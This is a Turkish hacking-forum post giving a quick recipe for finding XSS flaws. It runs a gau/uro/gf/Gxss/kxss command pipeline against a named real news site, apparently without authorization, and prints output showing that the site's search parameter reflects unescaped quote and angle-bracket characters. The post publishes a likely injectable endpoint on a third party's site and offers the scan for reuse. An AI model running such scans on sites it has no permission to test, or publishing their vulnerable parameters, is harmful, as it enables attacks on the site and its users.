XSS AÇIĞI BULMA MT Merhaba dostlarım bu konuyu açma sebebim çoğu kişinin manuel olarak 30 dk arayıp bulduğu açıkları sizin 5 dkda bulmayı öğrenmenizi istemem direkt geçelim Hedef Site: https://www.pratikhaber.com/ | <@456226577798135808> Kullanılacak komutlar; echo gau uro gf Gxss kxss tee echo ve tee dışındaki toolları githubdan kolayca indirebilirsiniz. ` echo https://www.pratikhaber.com/ | gau --mc 200 | uro | gf xss | Gxss | kxss | tee xss.txt` echo https://www.pratikhaber.com/ ---> Sitemizi belirliyoruz gau --mc 200 ---> Burada sitedeki bütün linkleri çekiyoruz bütün sayfaları daha doğru olur uro ---> Aynı linkten 2 tane varsa 1 tanesini siliyor gf xss ---> bu linklere bakıyor ve hangilerinde xss açığı olabilir onları belirliyor Gxss ---> kxss ---> Hangi param'ın açıklı olduğunu belirler ve hangi karakterlere izin verir onları gösteriyor `param q is reflected and allows " on https://www.pratikhaber.com/ara.asp?q=Gxss param q is reflected and allows < on https://www.pratikhaber.com/ara.asp?q=Gxss param q is reflected and allows > on https://www.pratikhaber.com/ara.asp?q=Gxss`
Son düzenleme:
